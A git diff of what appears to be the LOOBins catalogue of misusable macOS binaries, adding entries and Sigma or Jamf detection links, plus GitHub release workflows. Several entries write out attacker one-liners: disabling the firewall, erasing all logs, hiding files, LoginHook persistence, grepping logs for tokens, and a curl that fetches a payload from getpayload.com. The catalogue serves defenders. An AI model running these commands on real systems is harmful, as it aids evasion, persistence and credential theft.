diff --git a/.github/workflows/bump.yml b/.github/workflows/bump.yml new file mode 100644 index 0000000..8c94d14 --- /dev/null +++ b/.github/workflows/bump.yml @@ -0,0 +1,44 @@ +name: Bump version +on: + workflow_dispatch: + +jobs: + poetry_bump: + name: bump version + runs-on: ubuntu-latest + steps: + - name: Checkout code + uses: actions/checkout@v4 + with: + token: ${{ secrets.DEPLOY }} + + - name: Set up Python 3.10 + uses: actions/setup-python@v5 + with: + python-version: "3.10" + + - name: Install Poetry + run: | + curl -sSL https://install.python-poetry.org | python - -y + + - name: Update PATH + run: echo "$HOME/.local/bin" >> $GITHUB_PATH + + - name: Run Poetry bump (patch) + run: poetry version patch + + - name: Commit new version + run: | + git config --global user.name "infosecB" + git config --global user.email "infosecB@users.noreply.github.com" + git commit -a -m "bump version" + git push + build: + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v4 + - name: Bump version and push tag + id: tag_version + uses: mathieudutour/github-tag-action@v6.2 + with: + github_token: ${{ secrets.PAT }} diff --git a/.github/workflows/release.yml b/.github/workflows/release.yml new file mode 100644 index 0000000..0f26588 --- /dev/null +++ b/.github/workflows/release.yml @@ -0,0 +1,69 @@ +name: Release + +on: + push: + tags: + - '*.*.*' + +jobs: + test: + name: Test + runs-on: ubuntu-latest + steps: + - name: Checkout code + uses: actions/checkout@v4 + + - name: Set up Python 3.10 + uses: actions/setup-python@v5 + with: + python-version: "3.10" + + - name: Install Poetry + run: | + curl -sSL https://install.python-poetry.org | python - -y + + - name: Update PATH + run: echo "$HOME/.local/bin" >> $GITHUB_PATH + - name: Install dependecies + run: poetry install + - name: Run Tox + run: poetry run tox + release: + name: Release + runs-on: ubuntu-latest + steps: + - name: Checkout code + uses: actions/checkout@v4 + + - name: Set up Python 3.10 + uses: actions/setup-python@v5 + with: + python-version: "3.10" + + - name: Install Poetry + run: | + curl -sSL https://install.python-poetry.org | python - -y + + - name: Update PATH + run: echo "$HOME/.local/bin" >> $GITHUB_PATH + + - name: Build project for distribution + run: poetry build + + - name: Check Version + id: check-version + run: | + [[ "$(poetry version --short)" =~ ^[0-9]+\.[0-9]+\.[0-9]+$ ]] || echo prerelease=true >> $GITHUB_OUTPUT + + - name: Create Release + uses: ncipollo/release-action@v1 + with: + artifacts: "dist/*" + token: ${{ secrets.GITHUB_TOKEN }} + draft: true + prerelease: steps.check-version.outputs.prerelease == 'true' + + - name: Publish to PyPI + env: + POETRY_PYPI_TOKEN_PYPI: ${{ secrets.PYPI_TOKEN }} + run: poetry publish diff --git a/LOOBins/GetFileInfo.yml b/LOOBins/GetFileInfo.yml index 62ed232..cf3bd1d 100644 --- a/LOOBins/GetFileInfo.yml +++ b/LOOBins/GetFileInfo.yml @@ -8,7 +8,6 @@ example_use_cases: description: A bash or zsh oneliner can provide an attacker with information about specific files of interest. code: for FILE in ~/Downloads/*; do echo $(GetFileInfo $FILE) >> fileinfo.txt; sleep 2; done tactics: - - Reconnaissance - Discovery tags: - bash diff --git a/LOOBins/caffeinate.yml b/LOOBins/caffeinate.yml new file mode 100644 index 0000000..fc65f93 --- /dev/null +++ b/LOOBins/caffeinate.yml @@ -0,0 +1,36 @@ +name: caffeinate +author: Ethan Nay +short_description: Prevent the system from sleeping on behalf of a utility. +full_description: |- + caffeinate creates assertions to alter system sleep behavior. If no assertion flags are specified, caffeinate creates an assertion to prevent idle sleep. + If a utility is specified, caffeinate creates the assertions on the utility's behalf, and those assertions will persist for the duration of the utility's execution. + Otherwise, caffeinate creates the assertions directly, and those assertions will persist until caffeinate exits. +created: 2023-07-12 +example_use_cases: + - name: Fork a process + description: Make caffeinate fork a process and hold an assertion that prevents idle sleep as long as that process is running + code: caffeinate -i /tmp/evil + tactics: + - Execution + - Defense Evasion + tags: + - bash + - zsh + - name: Prevent a sleep + description: Prevent a macOS from going to sleep for 4 hours (14400 seconds) + code: caffeinate -u -t 14400 + tactics: + - Execution + tags: + - bash + - zsh +paths: + - /usr/bin/caffeinate +detections: + - name: No detections at time of publishing + url: N/A +resources: + - name: "macOS/binaries/caffeinate" + url: https://macosbin.com/bin/caffeinate + - name: "caffeinate man page" + url: https://ss64.com/osx/caffeinate.html diff --git a/LOOBins/chflags.yml b/LOOBins/chflags.yml new file mode 100644 index 0000000..d5549d8 --- /dev/null +++ b/LOOBins/chflags.yml @@ -0,0 +1,38 @@ +name: chflags +author: demonduck +short_description: Changes file or directory flags +full_description: |- + The chflags utility modifies the file flags of the listed files as + specified by the flags operand. +created: 2024-07-25 +example_use_cases: +- name: Hide a file + description: |- + Add the hidden flag to a file or directory to prevent it from being + visible in Finder and Terminal. + code: chflags hidden ~/evil + tactics: + - Defense Evasion + tags: + - finder +- name: Remove hidden flag + description: |- + Remove the hidden flag to a file or directory to make it visible in Finder + and Terminal. + code: chflags nohidden ~/evil + tactics: + - Defense Evasion + tags: + - finder +paths: +- /usr/bin/chflags +detections: +- name: "Sigma: Hidden Flag Set On File/Directory Via Chflags" + url: https://github.com/SigmaHQ/sigma/blob/master/rules/macos/process_creation/proc_creation_macos_chflags_hidden_flag.yml +resources: +- name: "chflags man page" + url: https://ss64.com/mac/chflags.html +- name: "macOS/binaries/chflags" + url: https://macosbin.com/bin/chflags +- name: "How to hide files and folders" + url: https://eclecticlight.co/2024/07/03/how-to-hide-files-and-folders/ diff --git a/LOOBins/codesign.yml b/LOOBins/codesign.yml new file mode 100644 index 0000000..bb908d5 --- /dev/null +++ b/LOOBins/codesign.yml @@ -0,0 +1,23 @@ +name: codesign +author: Thijs Xhaflaire +short_description: Create, manipulate and verify code signatures. +full_description: The codesign command is used to create, check, and display code signatures, as well as inquire into the dynamic status of signed code in the system. +created: 2024-07-29 +example_use_cases: + - name: Ad-hod codesigning an app bundle + description: This command forcefully re-signs the MyApp.app application with an ad-hoc signature, applying the signature deeply to all nested code within the app + code: codesign --force --deep -s - MyApp.app + tactics: + - Defense Evasion + tags: + - codesign +paths: + - /usr/bin/codesign +detections: + - name: "Jamf Protect: Detect ad-hod codesigning activity" + url: https://github.com/jamf/jamfprotect/blob/main/custom_analytic_detections/adhoc_codesigning +resources: + - name: "When Apple Admits macOS Malware Is A Problem – It’s Time To Take Notice" + url: https://www.sentinelone.com/blog/when-apple-admits-macos-malware-is-a-problem-its-time-to-take-notice/ + - name: "codesign man page" + url: https://ss64.com/mac/codesign.html diff --git a/LOOBins/csrutil.yml b/LOOBins/csrutil.yml index debc55f..b6dc5e9 100644 --- a/LOOBins/csrutil.yml +++ b/LOOBins/csrutil.yml @@ -33,11 +33,22 @@ example_use_cases: - Discovery tags: - configuration + - name: Determine if SIP is enabled + description: Determine if System Integrity Protection is enabled + code: csrutil status + tactics: + - Discovery paths: - /usr/bin/csrutil detections: - - name: No detections at time of publishing - url: N/A + - name: "Sigma: System Integrity Protection (SIP) Disabled" + url: https://github.com/SigmaHQ/sigma/blob/master/rules/macos/process_creation/proc_creation_macos_csrutil_disable.yml + - name: "Sigma: System Integrity Protection (SIP) Enumeration" + url: https://github.com/SigmaHQ/sigma/blob/master/rules/macos/process_creation/proc_creation_macos_csrutil_status.yml resources: - name: "Discussion on how SIP interacts with bless and netboot" url: https://developer.apple.com/forums/thread/4002 + - name: "MITRE ATT&CK T1518.001 Software Discovery: Security Software Discovery" + url: https://attack.mitre.org/techniques/T1518/001/ + - name: "The XCSSET Malware: Inserts Malicious Code Into Xcode Projects, Performs UXSSBackdoor Planting in Safari, and LeveragesTwo Zero-day Exploits" + url: https://documents.trendmicro.com/assets/pdf/XCSSET_Technical_Brief.pdf diff --git a/LOOBins/defaults.yml b/LOOBins/defaults.yml index dec4fe8..3b53cbe 100644 --- a/LOOBins/defaults.yml +++ b/LOOBins/defaults.yml @@ -1,7 +1,7 @@ name: defaults author: Brendan Chamberlain (@infosecB) short_description: Read, write, and delete user preference values. -full_description: A full length description of the binary goes here. +full_description: The defaults binary is normally used to interact with the user defaults system, a database of macOS used to manage system settings much like the Windows Registry. The database can be abused by threat actors to change settings in attempt to evade defenses or to gain persistence. created: 2023-05-24 example_use_cases: - name: Disable Gatekeeper's auto rearm functionality @@ -21,6 +21,25 @@ example_use_cases: code: sudo defaults write /Library/Preferences/com.apple.loginwindow LoginHook gain_persistence.sh tactics: - Persistence +- name: Get Active Directory user info from Jamf Connect + description: Retrieve Active Directory user info from Jamf Connect defaults configuration. + code: defaults read com.jamf.connect.state + tactics: + - Discovery +- name: Enable Firewall + description: Enables macOS' default firewall. This command requires root privileges. + code: sudo defaults write /Library/Preferences/com.apple.alf globalstate -int 1 + tactics: + - Defense Evasion + tags: + - firewall +- name: Disable Firewall + description: Disables macOS' default firewall. This command requires root privileges. + code: sudo defaults write /Library/Preferences/com.apple.alf globalstate -int 0 + tactics: + - Defense Evasion + tags: + - firewall paths: - /usr/bin/defaults detections: diff --git a/LOOBins/ditto.yml b/LOOBins/ditto.yml index e193a04..414a6d5 100644 --- a/LOOBins/ditto.yml +++ b/LOOBins/ditto.yml @@ -33,6 +33,7 @@ example_use_cases: - Collection - Exfiltration - Lateral Movement + - Defense Evasion tags: - files - name: DLL hjiacking diff --git a/LOOBins/dns-sd.yml b/LOOBins/dns-sd.yml index d7ad196..c09fb59 100644 --- a/LOOBins/dns-sd.yml +++ b/LOOBins/dns-sd.yml @@ -35,8 +35,8 @@ example_use_cases: paths: - /usr/bin/dns-sd detections: -- name: No detections at time of publishing - url: N/A +- name: "Jamf Protect: Detect dns-sd discovery activity" + url: https://github.com/jamf/jamfprotect/blob/main/custom_analytic_detections/dns_service_discovery resources: - name: What does APT Activity Look Like on macOS? url: https://themittenmac.com/what-does-apt-activity-look-like-on-macos diff --git a/LOOBins/dscacheutil.yml b/LOOBins/dscacheutil.yml new file mode 100644 index 0000000..162449e --- /dev/null +++ b/LOOBins/dscacheutil.yml @@ -0,0 +1,34 @@ +name: dscacheutil +author: Ethan Nay +short_description: gather information, statistics and initiate queries to the Directory Service cache. +full_description: |- + dscacheutil does various operations against the Directory Service cache including gathering statistics, initiating lookups, inspection, cache flush, etc. + This tool replaces most of the functionality of the lookupd tool previously available in the OS. +created: 2023-08-23 +example_use_cases: + - name: Lookup a user + description: List the user information + code: dscacheutil -q user -a name + tactics: + - Discovery + tags: + - bash + - zsh + - name: Lookup all users + description: List the all users information + code: dscacheutil -q user + tactics: + - Discovery + tags: + - bash + - zsh +paths: + - /usr/bin/dscacheutil +detections: + - name: No detections at time of publishing + url: N/A +resources: + - name: "macOS/binaries/dscacheutil" + url: https://macosbin.com/bin/dscacheutil + - name: "dscacheutil man page" + url: https://ss64.com/osx/dscacheutil.html diff --git a/LOOBins/dscl.yml b/LOOBins/dscl.yml index d51462f..d555d57 100644 --- a/LOOBins/dscl.yml +++ b/LOOBins/dscl.yml @@ -6,14 +6,20 @@ created: 2023-04-25 example_use_cases: - name: Local user enumeration description: Enumerate all local users. - code: dscl . -list /Users + code: | + dscl . -list /Users + dscl . list /Users + dscl . ls /Users tactics: - Discovery tags: - users - name: Active Directory user enumeration description: Enumerate all Active Directory users. - code: dscl "/Active Directory/TEST/All Domains" -list /Users + code: | + dscl "/Active Directory/TEST/All Domains" -list /Users + dscl "/Active Directory/TEST/All Domains" list /Users + dscl "/Active Directory/TEST/All Domains" ls /Users tactics: - Discovery tags: @@ -21,7 +27,10 @@ example_use_cases: - users - name: Local user information gathering description: Gain useful local user information such as when their password was last set, their keyboard layout, their avatar, their home directory, UID and default shell. - code: dscl . -read /Users/$USERNAME + code: | + dscl . -read /Users/$USERNAME + dscl . read /Users/$USERNAME + dscl . cat /Users/$USERNAME tactics: - Discovery tags: @@ -29,7 +38,10 @@ example_use_cases: - configuration - name: Active Directory user information gathering description: Gain useful Active Directory user information such as when their password was last set, their keyboard layout, their avatar, their home directory, UID and default shell. - code: dscl "/Active Directory/TEST/All Domains" -read /Users/$USERNAME + code: | + dscl "/Active Directory/TEST/All Domains" -read /Users/$USERNAME + dscl "/Active Directory/TEST/All Domains" read /Users/$USERNAME + dscl "/Active Directory/TEST/All Domains" cat /Users/$USERNAME tactics: - Discovery tags: @@ -38,14 +50,20 @@ example_use_cases: - configuration - name: Local group enumeration description: Enumerate all local groups. - code: dscl . -list /Groups + code: | + dscl . -list /Groups + dscl . list /Groups + dscl . ls /Groups tactics: - Discovery tags: - groups - name: Active Directory group enumeration description: Enumerate all Active Directory groups. - code: dscl "/Active Directory/TEST/All Domains" -list /Groups + code: | + dscl "/Active Directory/TEST/All Domains" -list /Groups + dscl "/Active Directory/TEST/All Domains" list /Groups + dscl "/Active Directory/TEST/All Domains" ls /Groups tactics: - Discovery tags: @@ -53,7 +71,10 @@ example_use_cases: - groups - name: Local group information gathering description: Gain useful local group information such as which users belong to that group, SMB SIDs and group ID. Especially useful for the "admin" group. - code: dscl . -read /Groups/$GROUPNAME + code: | + dscl . -read /Groups/$GROUPNAME + dscl . read /Groups/$GROUPNAME + dscl . cat /Groups/$GROUPNAME tactics: - Discovery tags: @@ -61,7 +82,10 @@ example_use_cases: - configuration - name: Active Directory group information gathering description: Gain useful Active Directory group information such as which users belong to that group, SMB SIDs and group ID. Especially useful for the "admin" group. - code: dscl "/Active Directory/TEST/All Domains" -read /Groups/$GROUPNAME + code: | + dscl "/Active Directory/TEST/All Domains" -read /Groups/$GROUPNAME + dscl "/Active Directory/TEST/All Domains" read /Groups/$GROUPNAME + dscl "/Active Directory/TEST/All Domains" cat /Groups/$GROUPNAME tactics: - Discovery tags: @@ -70,7 +94,10 @@ example_use_cases: - configuration - name: Computer enumration description: Enumerate all computers in an Active Directory. - code: dscl "/Active Directory/TEST/All Domains" -list /Computers + code: | + dscl "/Active Directory/TEST/All Domains" -list /Computers + dscl "/Active Directory/TEST/All Domains" list /Computers + dscl "/Active Directory/TEST/All Domains" ls /Computers tactics: - Discovery tags: @@ -78,7 +105,10 @@ example_use_cases: - shares - name: Share enumration description: Enumerate all shares. - code: dscl . -list /SharePoints + code: | + dscl . -list /SharePoints + dscl . list /SharePoints + dscl . ls /SharePoints tactics: - Discovery tags: @@ -86,7 +116,10 @@ example_use_cases: - shares - name: Password policy discovery description: Gain password policy information - code: dscl . -read /Config/shadowhash + code: | + dscl . -read /Config/shadowhash + dscl . read /Config/shadowhash + dscl . cat /Config/shadowhash tactics: - Discovery tags: @@ -99,11 +132,18 @@ example_use_cases: - Persistence tags: - password + - name: Local account creation + description: Create a local account + code: dscl -create + tactics: + - Persistence paths: - /usr/bin/dscl detections: - - name: No detections at time of publishing - url: N/A + - name: "Jamf Protect: Detect user account creation with dscl" + url: https://github.com/jamf/jamfprotect/blob/main/custom_analytic_detections/user_created_by_dscl resources: - name: 'MacOS Red Teaming - HackTricks' url: https://book.hacktricks.xyz/macos-hardening/macos-security-and-privilege-escalation/macos-red-teaming + - name: 'MITRE ATT&CK T1136.001 Create Account: Local Account' + url: https://attack.mitre.org/techniques/T1136/001/ diff --git a/LOOBins/dsconfigad.yml b/LOOBins/dsconfigad.yml new file mode 100644 index 0000000..44de432 --- /dev/null +++ b/LOOBins/dsconfigad.yml @@ -0,0 +1,32 @@ +name: dsconfigad +author: Ethan Nay +short_description: retrieves/changes configuration for Directory Services Active Directory Plugin. +full_description: This tool allows command-line configuration of the Active Directory Plug-in. dsconfigad has the same functionality for configuring the Active Directory plugin as the Directory Utility application. It requires "admin" privileges to the local workstation and to the Directory to make changes. +created: 2023-08-23 +example_use_cases: + - name: Retrieves the Active Directory configuration + description: Retrieves the Active Directory configuration + code: dsconfigad -show + tactics: + - Discovery + tags: + - bash + - zsh + - name: Retrieves the Active Directory name + description: Retrieves the Active Directory name + code: dsconfigad -show |awk '/Active Directory Domain/{print $NF}' + tactics: + - Discovery + tags: + - bash + - zsh +paths: + - /usr/sbin/dsconfigad +detections: + - name: No detections at time of publishing + url: N/A +resources: + - name: "macOS/binaries/dsconfigad" + url: https://macosbin.com/bin/dsconfigad + - name: "dsconfigad man page" + url: https://www.unix.com/man-page/osx/8/dsconfigad/ diff --git a/LOOBins/hdiutil.yml b/LOOBins/hdiutil.yml index 9807c5b..1c3e7dd 100644 --- a/LOOBins/hdiutil.yml +++ b/LOOBins/hdiutil.yml @@ -61,8 +61,10 @@ example_use_cases: paths: - /usr/bin/hdiutil detections: -- name: No detections at time of publishing - url: n/a +- name: "Sigma: Disk Image Mounting Via Hdiutil" + url: https://github.com/SigmaHQ/sigma/blob/master/rules/macos/process_creation/proc_creation_macos_hdiutil_mount.yml +- name: "Sigma: Disk Image Creation Via Hdiutil" + url: https://github.com/SigmaHQ/sigma/blob/master/rules/macos/process_creation/proc_creation_macos_hdiutil_create.yml resources: - name: 'Microsoft finds new macOS vulnerability, Shrootless, that could bypass System Integrity Protection' url: https://www.microsoft.com/en-us/security/blog/2021/10/28/microsoft-finds-new-macos-vulnerability-shrootless-that-could-bypass-system-integrity-protection/ diff --git a/LOOBins/ioreg.yml b/LOOBins/ioreg.yml index 7685ba1..b863aec 100644 --- a/LOOBins/ioreg.yml +++ b/LOOBins/ioreg.yml @@ -5,19 +5,19 @@ full_description: The I/O Kit registry (ioreg) is a useful binary that can be us created: 2023-04-20 example_use_cases: - name: Use ioreg to check whether the remote macOS screen is locked. - description: The following command will display of list of keys that contain "CGSSession". If the key "CGSSessionScreenIsLocked" us present, the screen is actively locked. + description: The following command will display a list of keys that contain "CGSSession". If the key "CGSSessionScreenIsLocked" is present, the screen is actively locked. code: ioreg -n Root -d1 -a | grep CGSSession tactics: - - Reconnaissance + - Discovery tags: - bash - oneliner - lockscreen -- name: Use ioreg to check whether the host is on a phusical machine or a VM +- name: Use ioreg to check whether the host is on a physical machine or a VM description: Check the output of this command (specifically the IOPlatformSerialNumber, board-id, and manufacturer fields) to check whether or not this host is in a virtual machine. code: ioreg -rd1 -c IOPlatformExpertDevice tactics: - - Reconnaissance + - Discovery - Collection tags: - oneliner @@ -26,16 +26,16 @@ example_use_cases: description: Grep for "USB Vendor Name" values to view USB vendor names. On virtualized hardware these values may contain the hypervisor name such as "VirtualBox". This is an additional way to check for virtualization. code: ioreg -rd1 -c IOUSBHostDevice tactics: - - Reconnaissance + - Discovery - Collection tags: - oneliner - vmcheck - name: Check all ioreg properties for hypervisor names. - description: Grep for "virtual box", "oralce", and "vmware" from the output of the ioreg -l command. This is an additional way to check for virtualization. + description: Grep for "virtual box", "oracle", and "vmware" from the output of the ioreg -l command. This is an additional way to check for virtualization. code: ioreg -l tactics: - - Reconnaissance + - Discovery - Collection tags: - oneliner @@ -43,10 +43,12 @@ example_use_cases: paths: - /usr/sbin/ioreg detections: -- name: No detections at time of publishing - url: N/A +- name: System Information Discovery Using Ioreg + url: https://github.com/SigmaHQ/sigma/blob/master/rules/macos/process_creation/proc_creation_macos_ioreg_discovery.yml +- name: "Jamf Protect: Ioreg used to detect if the screen is locked" + url: https://github.com/jamf/jamfprotect/blob/main/custom_analytic_detections/lockscreen_check resources: - name: 'Evasions: macOS' - url: https://evasions.checkpoint.com/techniques/macos.html + url: https://evasions.checkpoint.com/src/MacOS/macos.html - name: 'SwiftBelt-JXA Situational Awareness Tool' url: https://github.com/cedowens/SwiftBelt-JXA/blob/main/SwiftBelt-JXA.js#520 diff --git a/LOOBins/kextstat.yml b/LOOBins/kextstat.yml new file mode 100644 index 0000000..b37f1b1 --- /dev/null +++ b/LOOBins/kextstat.yml @@ -0,0 +1,23 @@ +name: kextstat +author: Mark Morowczynsk (@markmorow) +short_description: Display the status of loaded kernal extensions (kexts) +full_description: Deprecated tool in favor of kmutil. Lists loaded kernal extensions +created: 2023-07-30 +example_use_cases: +- name: List kernel extensions + description: Uses kexstat showloaded to display kernel extensions and address in kernel memory it has been loaded + code: kexstat + tactics: + - Discovery + tags: + - bash + - zsh + - kernel +paths: +- /usr/sbin/kextstat +detections: +- name: No detections at time of publishing + url: n/a +resources: +- name: 'kextstat man page' + url: https://ss64.com/osx/kextstat.html diff --git a/LOOBins/launchctl.yml b/LOOBins/launchctl.yml index 8de6b2a..10002ed 100644 --- a/LOOBins/launchctl.yml +++ b/LOOBins/launchctl.yml @@ -14,15 +14,24 @@ example_use_cases: - bash - zsh - oneliner +- name: Persistent launch agent + description: Creation of a persistent launch agent called with $HOME/Library/LaunchAgents/com.apple.updates.plist + code: launchctl load -w ~/Library/LaunchAgents/com.apple.updates.plist + tactics: + - Persistence paths: - /bin/launchctl detections: - name: LaunchAgents and LaunchDaemons must have a plist file on disk in the root, system, or user Library directory. Monitoring for plist's with executables located in /tmp or /Shared could identify suspicious applications. url: N/A +- name: "Jamf Protect: Detect launchctl activity that unloads or bootsout specific service" + url: https://github.com/jamf/jamfprotect/blob/main/custom_analytic_detections/launchctl_unload_and_bootout_events resources: - name: '20 Common Tools & Techniques used by macOS threat Actors & Malware' url: https://www.sentinelone.com/labs/20-common-tools-techniques-used-by-macos-threat-actors-malware/ - name: 'Mitre Attack Technique: launchctl T1569' url: https://attack.mitre.org/techniques/T1569/001/ - - +- name: 'MITRE ATT&CK T1543.001 Create or Modify System Process: Launch Agent ' + url: https://attack.mitre.org/techniques/T1543/001/ +- name: 'Komplex OS X Trojan (Sofacy)' + url: https://unit42.paloaltonetworks.com/unit42-sofacys-komplex-os-x-trojan/ diff --git a/LOOBins/log.yml b/LOOBins/log.yml new file mode 100644 index 0000000..c0f13a6 --- /dev/null +++ b/LOOBins/log.yml @@ -0,0 +1,31 @@ +name: log +author: Brendan Chamberlain (@infosecB) +short_description: Access system log messages from Apple Unified Logging (AUL). +full_description: The log command can be used to access system log messages from Apple Unified Logging (AUL). The tool can be used to inspect exiting logs, stream logs in realtime, and delete logs. This tool is normally used by system admins and application developers for troubleshooting purposes but can be used by an adversary to gain an understanding of the user's behavior or to cover up their tracks by deleting log messages. +created: 2023-06-06 +example_use_cases: +- name: Remove all log messages + description: An attacker can cover up their tracks by removing all log messages using the following command. Requires root privileges. + code: log erase --all + tactics: + - Defense Evasion + tags: + - requires_root +- name: Search log messages for tokens + description: An attacker can potentially search log messages and review if they do contain sensitive information like jwt tokens. + code: log show --info --debug --predicate 'eventMessage CONTAINS[d] "eyJ"' + tactics: + - Credential Access + tags: + - bash + - zsh +paths: +- /usr/bin/log +detections: +- name: No detections at time of publishing + url: N/A +resources: +- name: Living off the land in macOS (Daniel Stinson) + url: https://shellcromancer.io/posts/living-off-of-macos/ +acknowledgements: +- Daniel Stinson (@shellcromancer) diff --git a/LOOBins/mdfind.yml b/LOOBins/mdfind.yml index 5099166..7abdd02 100644 --- a/LOOBins/mdfind.yml +++ b/LOOBins/mdfind.yml @@ -37,8 +37,8 @@ example_use_cases: paths: - /usr/bin/mdfind detections: - - name: No detections at time of publishing - url: N/A + - name: "Jamf Protect: Detect activity related to mdfind used to search for stored AWS keys" + url: https://github.com/jamf/jamfprotect/blob/main/custom_analytic_detections/mdfind_search_aws_keys resources: - name: '"Farming The Apple Orchards: Living off the Land Techniques" - Chris Ross & Cedric Owens' url: https://youtu.be/Snwh4mMe-Cg?t=45 diff --git a/LOOBins/mdls.yml b/LOOBins/mdls.yml new file mode 100644 index 0000000..b9d55c8 --- /dev/null +++ b/LOOBins/mdls.yml @@ -0,0 +1,26 @@ +name: mdls +author: Daniel Stinson-Diess (@shellcromancer) +short_description: List metadata attributes for the specified file. +full_description: mdls list file metadata across standard metadata (creation date, size), extended attribute (quarantine), and Spotlight APIs (Finder flags). +created: 2023-05-29 +example_use_cases: + - name: Validate file download information + description: Use mdls to validate payload download sources and timestamps to guard against sandbox executions. + code: mdls -name "kMDItemWhereFroms" -name "kMDItemDownloadedDate" + tactics: + - Defense Evasion + tags: + - Genieo + - Shlayer + - name: Query File Paths + description: Use mdls to print file paths and sizes when enumerating host resources. + code: xargs -0 mdls -n kMDItemPath -n kMDItemFSSize + tactics: + - Discovery + tags: + - CleanMaster +paths: + - /usr/bin/mdls +detections: + - name: No detections at time of publishing + url: N/A diff --git a/LOOBins/mktemp.yml b/LOOBins/mktemp.yml new file mode 100644 index 0000000..249cc1f --- /dev/null +++ b/LOOBins/mktemp.yml @@ -0,0 +1,30 @@ +name: mktemp +author: Tim Peck (@B0bby_Tablez) +short_description: Create a temporary file or directory and return the file/directory name to stdout +full_description: The mktemp binary located in "usr/bin/mktemp" can generate unique directory or file names and has historically been used to generate unique payloads. +created: 2023-06-28 +example_use_cases: + - name: Generate payload directory (Shlayer) + description: The following command can be used to generate a random directory name for staging payloads + code: export tmpDir="$(mktemp -d /tmp/XXXXXXXXXXXX)" + tactics: + - Defense Evasion + tags: + - Payload + - name: Generate directory based on template file (Bundlore) + description: The following command can be used to generate a unique directory based on a template + code: TMP_DIR="mktemp -d -t x" + tactics: + - Defense Evasion + tags: + - Payload +paths: + - /usr/bin/mktemp +detections: + - name: No detections at time of publishing + url: N/A +resources: + - name: Shlayer malware abusing Gatekeeper bypass on macOS + url: https://www.jamf.com/blog/shlayer-malware-abusing-gatekeeper-bypass-on-macos/ + - name: 20 Common Tools & Techniques Used by macOS Threat Actors & Malware + url: https://www.sentinelone.com/labs/20-common-tools-techniques-used-by-macos-threat-actors-malware/ diff --git a/LOOBins/nscurl.yml b/LOOBins/nscurl.yml index a20562e..7ef945c 100644 --- a/LOOBins/nscurl.yml +++ b/LOOBins/nscurl.yml @@ -9,11 +9,30 @@ example_use_cases: code: nscurl -k https://google.com -o /private/tmp/google tactics: - Defense Evasion + - Command and Control + - name: Download file + description: Download file to the Downloads directory using -dl + code: nscurl https://google.com -dl + tactics: + - Defense Evasion + - Command and Control + - name: Download file + description: Download file to a designated directory using -dir + code: nscurl https://google.com -dir /private/tmp/google + tactics: + - Defense Evasion + - Command and Control paths: - /usr/bin/nscurl detections: - - name: No detections at time of publishing - url: N/A + - name: "Jamf Protect: Detect all curl and nscurl activity" + url: https://github.com/jamf/jamfprotect/blob/main/custom_analytic_detections/all_curl_activity + - name: "Jamf Protect: Detect file downloads using the insecure argument for curl and nscurl" + url: https://github.com/jamf/jamfprotect/blob/main/custom_analytic_detections/file_download_curl_insecure + - name: "Sigma: File Download Via Nscurl - MacOS" + url: https://github.com/SigmaHQ/sigma/blob/master/rules/macos/process_creation/proc_creation_macos_nscurl_usage.yml resources: - name: "How to Diagnose App Transport Security Issues using nscurl and OpenSSL" url: https://www.agnosticdev.com/content/how-diagnose-app-transport-security-issues-using-nscurl-and-openssl + - name: "Living-off-the-Land: Exploring macOS LOOBins and Crafting Detection Rules - nscurl" + url: https://danielcortez.substack.com/p/living-off-the-land-exploring-macos diff --git a/LOOBins/odutil.yml b/LOOBins/odutil.yml new file mode 100644 index 0000000..a2235a0 --- /dev/null +++ b/LOOBins/odutil.yml @@ -0,0 +1,48 @@ +name: odutil +author: Ethan Nay +short_description: odutil allows caller to examine or change state of opendirectoryd +full_description: To look at internal state information for opendirectoryd, enable or disable logging, or change statistics settings. +created: 2023-07-12 +example_use_cases: + - name: Listing the available node names + description: List all available node names + code: odutil show nodenames + tactics: + - Discovery + tags: + - bash + - zsh + - name: Retrieves active session + description: Retrieves the all active sessions + code: odutil show sessions + tactics: + - Discovery + tags: + - bash + - zsh + - name: Retrieves "Default search policy" + description: Retrieves the configuration of "Default search policy" + code: odutil show configuration /Search + tactics: + - Discovery + tags: + - bash + - zsh + - name: Retrieves "Contact search policy" + description: Retrieves the configuration of "Contact search policy" + code: odutil show configuration /Contacts + tactics: + - Discovery + tags: + - bash + - zsh +paths: + - /usr/bin/odutil +detections: + - name: No detections at time of publishing + url: N/A +resources: + - name: "macOS/binaries/odutil" + url: https://macosbin.com/bin/odutil + - name: "odutil man page" + url: https://www.unix.com/man-page/osx/1/odutil/ diff --git a/LOOBins/osacompile.yml b/LOOBins/osacompile.yml index 9ce3d49..896a3e2 100644 --- a/LOOBins/osacompile.yml +++ b/LOOBins/osacompile.yml @@ -8,7 +8,8 @@ example_use_cases: description: The following command downloads an applescript payload from getpayload.com and compiles it into an app. code: curl https://getpayload.com/payload_code.apple_script && osacompile -x -e payload_code.apple_script -o payload.app tactics: - - Discovery + - Command and Control + - Resource Development tags: - XCSSET paths: diff --git a/LOOBins/osascript.yml b/LOOBins/osascript.yml index bc7a471..d8d3523 100644 --- a/LOOBins/osascript.yml +++ b/LOOBins/osascript.yml @@ -20,7 +20,7 @@ example_use_cases: code: osascript -e 'return (system info)' tactics: - Collection - - Reconnaissance + - Discovery tags: - systeminfo - oneliner @@ -47,6 +47,12 @@ paths: detections: - name: Command Line Argument Detection (args contain osascript AND -e AND clipboard) url: N/A + - name: "Jamf Protect: Detect activity that is related to osascript gathering clipboard content" + url: https://github.com/jamf/jamfprotect/blob/main/custom_analytic_detections/osascript_gather_clipboard + - name: "Jamf Protect: Detect activity that is related to osascript pulling system information" + url: https://github.com/jamf/jamfprotect/blob/main/custom_analytic_detections/osascript_gather_system_information + - name: "Jamf Protect: Detect activity that is related to generating dialogs using osascript and asking for specific user input" + url: https://github.com/jamf/jamfprotect/blob/main/custom_analytic_detections/osascript_dialog_activity resources: - name: 'Using macOS Internals for Post Exploitation' url: https://medium.com/red-teaming-with-a-blue-team-mentality/using-macos-internals-for-post-exploitation-b5faaa11e121 diff --git a/LOOBins/pbpaste.yml b/LOOBins/pbpaste.yml index b7fbdf5..091867f 100644 --- a/LOOBins/pbpaste.yml +++ b/LOOBins/pbpaste.yml @@ -16,8 +16,10 @@ example_use_cases: paths: - /usr/bin/pbpaste detections: -- name: No detections at time of publishing - url: N/A +- name: 'Sigma: Clipboard Data Collection Via Pbpaste' + url: https://github.com/SigmaHQ/sigma/blob/master/rules-threat-hunting/macos/process_creation/proc_creation_macos_pbpaste_execution.yml resources: - name: 'Hacking macOS: How to Dump 1Password, KeePassX & LastPass Passwords in Plaintext' url: https://medium.com/@NullByteWht/hacking-macos-how-to-dump-1password-keepassx-lastpass-passwords-in-plaintext-723c5b1c311b 